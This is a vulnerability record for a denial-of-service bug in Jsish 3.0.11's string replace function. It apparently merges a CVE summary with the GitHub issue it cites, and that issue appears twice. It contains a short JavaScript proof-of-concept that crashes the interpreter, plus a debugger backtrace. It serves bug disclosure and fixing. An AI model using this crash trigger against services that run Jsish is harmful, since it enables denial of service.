An issue found in Jsish v.3.0.11 and before allows an attacker to cause a denial of service via the StringReplaceCmd function in the src/jsiChar.c file.
cpe:2.3:a:jsish:jsish:*:*:*:*:*:*:*:*
633EAFF5-6C2C-4EA3-8E68-C899A78ECC1E
3.0.11
OR
DongzhuoZhao added on 2020-05-11 03:19:36:
git version:
4603977ef0ffdaf3d0f641ff6a361aa26e36974d

save follow testcase as .js format :

v0=/a/g;
var v1="a";
(v1).replace(v0,isFinite);

run:
./jsimin poc.js

Result:
zdz@ubuntu:~/jsish$ ./jsimin /home/zdz/debugBug/jsi/bug/poc.js
Segmentation fault (core dumped)

Backtrace:

Program received signal SIGSEGV, Segmentation fault.
0x000056038750129c in StringReplaceCmd (interp=0x5603881f2260, 
    args=0x560388254f30, _this=0x560388254f70, ret=0x7ffe29bd5ed0, 
    funcPtr=0x5603882047d0) at ./src/jsiString.c:656
656	        maxArgs = repVal->d.obj->d.fobj->func->argnames->argCnt;
(rr) bt
#0  0x000056038750129c in StringReplaceCmd (interp=0x5603881f2260, 
    args=0x560388254f30, _this=0x560388254f70, ret=0x7ffe29bd5ed0, 
    funcPtr=0x5603882047d0) at ./src/jsiString.c:656
#1  0x0000560387560285 in jsi_FunctionSubCall (interp=0x5603881f2260, 
    args=0x560388254f30, _this=0x560388254f70, ret=0x7ffe29bd5ed0, 
    tocall=0x56038824e560, discard=1) at ./src/jsiEval.c:857
#2  0x0000560387560767 in jsiEvalFunction (ps=0x56038824d780, 
    ip=0x560388250af0, discard=1) at ./src/jsiEval.c:918
#3  0x000056038756238b in jsi_evalcode_sub (ps=0x56038824d780, 
    opcodes=0x56038824e640, scope=0x560388214950, 
    currentScope=0x5603881fe3f0, _this=0x5603881fe3f0, vret=0x560388231c90)
    at ./src/jsiEval.c:1308
#4  0x000056038756810c in jsi_evalcode (ps=0x56038824d780, func=0x0, 
    opcodes=0x56038824e640, scope=0x560388214950, fargs=0x5603881fe3f0, 
    _this=0x5603881fe3f0, vret=0x7ffe29bd64b0) at ./src/jsiEval.c:2156
#5  0x0000560387569c5d in jsi_evalStrFile (interp=0x5603881f2260, 
    path=0x56038824c2e0, 
    str=0x7ffe29bd6594 "var v0 = /((?!B))|(\\S)/g;\nvar v1=\"a a\";\n(v1).replace(v0,isFinite);\n\n", flags=73, level=0) at ./src/jsiEval.c:2470
#6  0x000056038756a005 in Jsi_EvalFile (interp=0x5603881f2260, 
    fname=0x56038824c2e0, flags=73) at ./src/jsiEval.c:2519
#7  0x00005603874e521c in Jsi_Main (opts=0x7ffe29bddc20)
    at ./src/jsiInterp.c:922

Illegal memory dereference
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : Illegal memory dereference
Issue date:

--- start body ---
DongzhuoZhao added on 2020-05-11 03:19:36:
git version:
4603977ef0ffdaf3d0f641ff6a361aa26e36974d

save follow testcase as .js format :

v0=/a/g;
var v1="a";
(v1).replace(v0,isFinite);

run:
./jsimin poc.js

Result:
zdz@ubuntu:~/jsish$ ./jsimin /home/zdz/debugBug/jsi/bug/poc.js
Segmentation fault (core dumped)

Backtrace:

Program received signal SIGSEGV, Segmentation fault.
0x000056038750129c in StringReplaceCmd (interp=0x5603881f2260, 
    args=0x560388254f30, _this=0x560388254f70, ret=0x7ffe29bd5ed0, 
    funcPtr=0x5603882047d0) at ./src/jsiString.c:656
656	        maxArgs = repVal->d.obj->d.fobj->func->argnames->argCnt;
(rr) bt
#0  0x000056038750129c in StringReplaceCmd (interp=0x5603881f2260, 
    args=0x560388254f30, _this=0x560388254f70, ret=0x7ffe29bd5ed0, 
    funcPtr=0x5603882047d0) at ./src/jsiString.c:656
#1  0x0000560387560285 in jsi_FunctionSubCall (interp=0x5603881f2260, 
    args=0x560388254f30, _this=0x560388254f70, ret=0x7ffe29bd5ed0, 
    tocall=0x56038824e560, discard=1) at ./src/jsiEval.c:857
#2  0x0000560387560767 in jsiEvalFunction (ps=0x56038824d780, 
    ip=0x560388250af0, discard=1) at ./src/jsiEval.c:918
#3  0x000056038756238b in jsi_evalcode_sub (ps=0x56038824d780, 
    opcodes=0x56038824e640, scope=0x560388214950, 
    currentScope=0x5603881fe3f0, _this=0x5603881fe3f0, vret=0x560388231c90)
    at ./src/jsiEval.c:1308
#4  0x000056038756810c in jsi_evalcode (ps=0x56038824d780, func=0x0, 
    opcodes=0x56038824e640, scope=0x560388214950, fargs=0x5603881fe3f0, 
    _this=0x5603881fe3f0, vret=0x7ffe29bd64b0) at ./src/jsiEval.c:2156
#5  0x0000560387569c5d in jsi_evalStrFile (interp=0x5603881f2260, 
    path=0x56038824c2e0, 
    str=0x7ffe29bd6594 "var v0 = /((?!B))|(\\S)/g;\nvar v1=\"a a\";\n(v1).replace(v0,isFinite);\n\n", flags=73, level=0) at ./src/jsiEval.c:2470
#6  0x000056038756a005 in Jsi_EvalFile (interp=0x5603881f2260, 
    fname=0x56038824c2e0, flags=73) at ./src/jsiEval.c:2519
#7  0x00005603874e521c in Jsi_Main (opts=0x7ffe29bddc20)
    at ./src/jsiInterp.c:922

--- end body ---

comments :
--- start comments ---

--- end comments ---